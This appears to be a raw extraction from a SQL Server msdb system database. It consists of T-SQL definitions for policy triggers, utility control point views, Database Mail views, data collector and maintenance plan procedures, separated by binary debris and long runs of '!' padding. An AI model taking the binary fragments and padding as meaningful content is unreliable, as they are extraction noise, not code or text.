	EXECUTE @retval_check = [dbo].[sp_syspolicy_check_membership] 'PolicyAdministratorRole'
	IF ( 0!= @retval_check)
	BEGIN
		RETURN;
	END

	-- This trigger deletes references in given order to protect from deadlocks
	DELETE msdb.dbo.syspolicy_policy_execution_history_internal	WHERE policy_id in (SELECT policy_id FROM deleted)
	DELETE msdb.dbo.syspolicy_system_health_state_internal		WHERE policy_id in (SELECT policy_id FROM deleted)
	DELETE msdb.dbo.syspolicy_policies_internal		WHERE policy_id in (SELECT policy_id FROM deleted)
END
0x2 $8('')0՜3 $8('')0U3 8CREATE VIEW dbo.sysutility_ucp_database_files
AS
        SELECT [S].[server_instance_name], [S].[database_name], [S].[filegroup_name], [S].[Name] AS [Name],
               [S].[volume_name], [S].[volume_device_id], [S].[FileName], [S].[Growth], [S].[GrowthType],
               [S].[processing_time], [S].[powershell_path],
               1 AS [file_type],
               [S].[MaxSize], [S].[Size], [S].[UsedSpace], [S].[available_space], [S].[percent_utilization]
        FROM [dbo].[sysutility_ucp_datafiles] AS S
        UNION ALL
        SELECT [S].[server_instance_name], [S].[database_name], N'' AS [filegroup_name], [S].[Name] AS [Name],
               [S].[volume_name], [S].[volume_device_id], [S].[FileName], [S].[Growth], [S].[GrowthType],
               [S].[processing_time], [S].[powershell_path],
               2 AS [file_type],
               [S].[MaxSize], [S].[Size], [S].[UsedSpace], [S].[available_space], [S].[percent_utilization]
        FROM [dbo].[sysutility_ucp_logfiles] AS S  
0 3 %8((2))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!~`F1<EL
kO10S)4 %8((0))0}^4 8
CREATE VIEW sysmail_sentitems
AS
SELECT * FROM msdb.dbo.sysmail_allitems WHERE sent_status = 'sent'

0~4 $8('')0I4 8
CREATE VIEW [dbo].[sysutility_ucp_mi_database_file_space_utilizations] AS
    SELECT	df.server_instance_name, 
            df.database_name, 
            df.filegroup_name,
            df.Name,
            df.volume_name,
            df.volume_device_id,
            df.FileName AS databasefile_name, 
            df.percent_utilization AS current_utilization, 
            df.UsedSpace AS used_space, 
            df.available_space AS available_space,
            10 AS under_utilization,  
            70 AS over_utilization,
            df.file_type,
            df.GrowthType AS growth_type	
    FROM	msdb.dbo.sysutility_ucp_database_files AS df
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!4`0E<6F0)">0)3@ 8CREATE PROCEDURE [dbo].[sp_syscollector_start_collection_set]
    @collection_set_id        int = NULL,
    @name                     sysname = NULL
WITH EXECUTE AS OWNER -- 'MS_DataCollectorInternalUser'
AS
BEGIN
    SET NOCOUNT ON

    DECLARE @TranCounter INT
    SET @TranCounter = @@TRANCOUNT
    IF (@TranCounter > 0)
        SAVE TRANSACTION tran_start_collection_set
    ELSE
        BEGIN TRANSACTION

    BEGIN TRY

    -- Security check (role membership)
    EXECUTE AS CALLER;
    IF (NOT (ISNULL(IS_MEMBER(N'dc_operator'), 0) = 1) AND NOT (ISNULL(IS_MEMBER(N'db_owner'), 0) = 1))
    BEGIN
        REVERT;
        RAISERROR(14677, -1, -1, 'dc_operator')
        RETURN(1) -- Failure
    END
    REVERT;

    -- check if SQL Server Agent is enabled
    DECLARE @agent_enabled int
    SELECT @agent_enabled = CAST(value_in_use AS int) FROM sys.configurations WHERE name = N'Agent XPs'
    IF @agent_enabled <> 1
    BEGIN
        RAISERROR(14688, -1, -1)
        RETURN (1)
    END

    -- check if MDW is setup
    DECLARE @instance_name sysname
    SELECT @instance_name = CONVERT(sysname,parameter_value)
    FROM [msdb].[dbo].[syscollector_config_store_internal]
    WHERE parameter_name = N'MDWInstance'
    IF (@instance_name IS NULL)
    BEGIN
        RAISERROR(14689, -1, -1)
        RETURN (1)
    END    
    DECLARE @database_name sysname
    SELECT @database_name = CONVERT(sysname,parameter_value)
    FROM [msdb].[dbo].[syscollector_config_store_internal]
    WHERE parameter_name = N'MDWDatabase'
    IF (@database_name IS NULL)
    BEGIN
        RAISERROR(14689, -1, -1)
        RETURN (1)
    END

    -- Verify the input parameters
    DECLARE @retVal int
    EXEC @retVal = dbo.sp_syscollector_verify_collection_set @collection_set_id OUTPUT, @name OUTPUT
    IF (@retVal <> 0)
        RETURN (1)

    -- Check if the collection set does not have any collection items
    IF NOT EXISTS(
        SELECT i.collection_item_id 
        FROM [dbo].[syscollector_collection_sets] AS s
        INNER JOIN [dbo].[syscollector_collection_items] AS i
            ON(s.collection_set_id = i.collection_set_id)
        WHERE s.collection_set_id = @collection_set_id
    )
    BEGIN
        RAISERROR(14685, 10, -1, @name) -- Raise a warning message
        IF (@TranCounter = 0)
            COMMIT TRANSACTION
        RETURN (0)
    END

    DECLARE @proxy_id int;
    DECLARE @collection_job_id uniqueidentifier
    DECLARE @upload_job_id uniqueidentifier
    DECLARE @schedule_uid uniqueidentifier;

    SELECT 
        @collection_job_id = collection_job_id, 
        @upload_job_id = upload_job_id, 
        @proxy_id = proxy_id,
        @schedule_uid = schedule_uid
    FROM [dbo].[syscollector_collection_sets_internal]
    WHERE collection_set_id = @collection_set_id;

    -- Check if the set does not have a proxy
    IF (@proxy_id IS NULL)
    BEGIN
        -- to start a collection set without a proxy, the caller has to be a sysadmin
        EXECUTE AS CALLER;
            IF (NOT (ISNULL(IS_SRVROLEMEMBER(N'sysadmin'), 0) = 1))
            BEGIN
                REVERT;
                RAISERROR(14692, -1, -1, @name)
                RETURN (1)
            END
        REVERT;
    END

    -- Starting a collection set requires a schedule
    IF @schedule_uid IS NULL
    BEGIN
        RAISERROR(14693, -1, -1)
        RETURN (1)
    END

    -- Check if we have jobs created, and if not, create them
    IF (@collection_job_id IS NULL AND @upload_job_id IS NULL)
    BEGIN
        -- Jobs not created yet, go and crete them
        -- We need to get some data from collection_sets table 
        -- before we do that.
        DECLARE @collection_set_uid uniqueidentifier;
        DECLARE @schedule_id int;
        DECLARE @collection_mode int;

        SELECT 
            @collection_set_uid = collection_set_uid,
            @collection_mode = collection_mode
        FROM
            [dbo].[syscollector_collection_sets_internal]
        WHERE
            collection_set_id = @collection_set_id;
        
        -- Sanity check
        -- Make sure the proxy and schedule are still there, someone could have
        -- remove them between when the collection set was created and now.
        IF (@proxy_id IS NOT NULL)
        BEGIN
            DECLARE @proxy_name sysname
            
            -- this will throw if the id does not exist
            EXEC @retVal = sp_verify_proxy_identifiers '@proxy_name', '@proxy_id', @proxy_name OUTPUT, @proxy_id OUTPUT
            IF (@retVal <> 0)
                RETURN (1)
        END

        SELECT @schedule_id = schedule_id FROM sysschedules_localserver_view WHERE @schedule_uid = schedule_uid
        EXEC @retVal = sp_verify_schedule_identifiers  @name_of_name_parameter = '@schedule_name',
                                                       @name_of_id_parameter   = '@schedule_id',
                                                       @schedule_name          = NULL,
                                                       @schedule_id            = @schedule_id,
                                                       @owner_sid              = NULL,
                                                       @orig_server_id         = NULL 
        IF (@retVal <> 0)
            RETURN (1)

        -- Go add the jobs
        EXEC [dbo].[sp_syscollector_create_jobs]
            @collection_set_id    = @collection_set_id,
            @collection_set_uid = @collection_set_uid,
            @collection_set_name = @name,
            @proxy_id            = @proxy_id,
            @schedule_id        = @schedule_id,
            @collection_mode    = @collection_mode,
            @collection_job_id    = @collection_job_id OUTPUT,
            @upload_job_id        = @upload_job_id OUTPUT

        -- Finally, update the collection_sets table
        UPDATE [dbo].[syscollector_collection_sets_internal]
        SET
            upload_job_id        = @upload_job_id,
            collection_job_id    = @collection_job_id
        WHERE @collection_set_id = collection_set_id
    END

    -- Update the is_running column for this collection set
    -- There is a trigger defined for that table that turns on
    -- the collection and upload jobs in response to that bit
    -- changing.
    UPDATE [dbo].[syscollector_collection_sets_internal]
    SET is_running = 1
    WHERE collection_set_id = @collection_set_id

    IF (@TranCounter = 0)
        COMMIT TRANSACTION
    RETURN (0)

    END TRY
    BEGIN CATCH
        IF (@TranCounter = 0 OR XACT_STATE() = -1)
            ROLLBACK TRANSACTION
        ELSE IF (XACT_STATE() = 1)
            ROLLBACK TRANSACTION tran_start_collection_set

        DECLARE @ErrorMessage   NVARCHAR(4000);
        DECLARE @ErrorSeverity  INT;
        DECLARE @ErrorState     INT;
        DECLARE @ErrorNumber    INT;
        DECLARE @ErrorLine      INT;
        DECLARE @ErrorProcedure NVARCHAR(200);
        SELECT @ErrorLine = ERROR_LINE(),
               @ErrorSeverity = ERROR_SEVERITY(),
               @ErrorState = ERROR_STATE(),
               @ErrorNumber = ERROR_NUMBER(),
               @ErrorMessage = ERROR_MESSAGE(),
               @ErrorProcedure = ISNULL(ERROR_PROCEDURE(), '-');
        RAISERROR (14684, @ErrorSeverity, -1 , @ErrorNumber, @ErrorSeverity, @ErrorState, @ErrorProcedure, @ErrorLine, @ErrorMessage);

        RETURN (1)        
    END CATCH
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`/<GL=pR06 8CREATE PROCEDURE sp_add_maintenance_plan
  @plan_name varchar(128),
  @plan_id   UNIQUEIDENTIFIER OUTPUT
AS
BEGIN
  IF (NOT EXISTS (SELECT *
                FROM msdb.dbo.sysdbmaintplans
                WHERE plan_name=@plan_name))
    BEGIN
      SELECT @plan_id=NEWID()
      INSERT INTO msdb.dbo.sysdbmaintplans (plan_id, plan_name) VALUES (@plan_id, @plan_name)
    END
  ELSE
    BEGIN
      RAISERROR(14261,-1,-1,'@plan_name',@plan_name)
      RETURN(1) -- failure
    END
END
0
G6 8
CREATE VIEW sysmail_faileditems
AS
SELECT * FROM msdb.dbo.sysmail_allitems WHERE sent_status = 'failed'

0|6 8CREATE PROCEDURE sp_verify_subsystem
  @subsystem NVARCHAR(40)
AS
BEGIN
  DECLARE @retval         INT
  SET NOCOUNT ON

  -- this call will populate subsystems table if necessary
  EXEC @retval = msdb.dbo.sp_verify_subsystems
  IF @retval <> 0
     RETURN(@retval)

  -- Remove any leading/trailing spaces from parameters
  SELECT @subsystem = LTRIM(RTRIM(@subsystem))

  -- Make sure Dts is translated into new subsystem's name SSIS
  IF (@subsystem IS NOT NULL AND UPPER(@subsystem collate SQL_Latin1_General_CP1_CS_AS) = N'DTS')
  BEGIN
    SET @subsystem = N'SSIS'
  END

  IF EXISTS (SELECT * FROM syssubsystems 
          WHERE  UPPER(@subsystem collate SQL_Latin1_General_CP1_CS_AS) =
                 UPPER(subsystem collate SQL_Latin1_General_CP1_CS_AS))
    RETURN(0) -- Success
  ELSE
  BEGIN
    RAISERROR(14234, -1, -1, '@subsystem', 'sp_enum_sqlagent_subsystems')
    RETURN(1) -- Failure
  END
END
0C"6 8CREATE VIEW sysproxyloginsubsystem_view
AS
SELECT ps.subsystem_id AS subsystem_id, pl.proxy_id AS proxy_id, pl.sid AS sid, pl.flags AS flags
FROM sysproxylogin pl JOIN sysproxysubsystem ps ON pl.proxy_id = ps.proxy_id
06 8
CREATE TRIGGER dbo.syspolicy_after_update_condition_trigger
ON msdb.dbo.syspolicy_conditions_internal
AFTER UPDATE
AS
BEGIN
	DECLARE @retval_check int;
	EXECUTE @retval_check = [dbo].[sp_syspolicy_check_membership] 'PolicyAdministratorRole'
	IF ( 0!= @retval_check)
	BEGIN
		RETURN;
	END

	-- This is to prevent indirect entrance of the trigger
	IF (TRIGGER_NESTLEVEL() > 1) 
		RETURN

    UPDATE msdb.dbo.syspolicy_conditions_internal
        SET modified_by = original_login(), date_modified = GETDATE()
        FROM inserted i 
        INNER JOIN msdb.dbo.syspolicy_conditions_internal c ON i.condition_id = c.condition_id

    -- update health state table by deleting all the records for 
    -- policies whose expression has been modified
    IF UPDATE(expression)
    BEGIN
        DELETE FROM dbo.syspolicy_system_health_state_internal 
            FROM dbo.syspolicy_system_health_state_internal phs
            INNER JOIN dbo.syspolicy_policies p ON phs.policy_id = p.policy_id
            INNER JOIN inserted i ON p.condition_id = i.condition_id
            INNER JOIN deleted d ON p.condition_id = d.condition_id
            WHERE d.expression != i.expression 
    END
END
0	g6 $8('')0V16 
8
CREATE VIEW [dbo].[sysutility_ucp_mi_volume_space_utilizations] AS(
-- TODO VSTS 280036(rnagpal) : Temporarily Keeping under_utilization to 10 and over_utilization to 70 for now
-- since we might reintroduce them in near future which will not require any interface change for the 
-- Utility object model / UI. Presently, we are not exposing under and over utilization thresholds in UI
-- so they are not exposed. If that remains the same till KJ CTP2, i'll remove them.
SELECT	vol.physical_server_name AS physical_server_name, 
		svr.Name as server_instance_name,
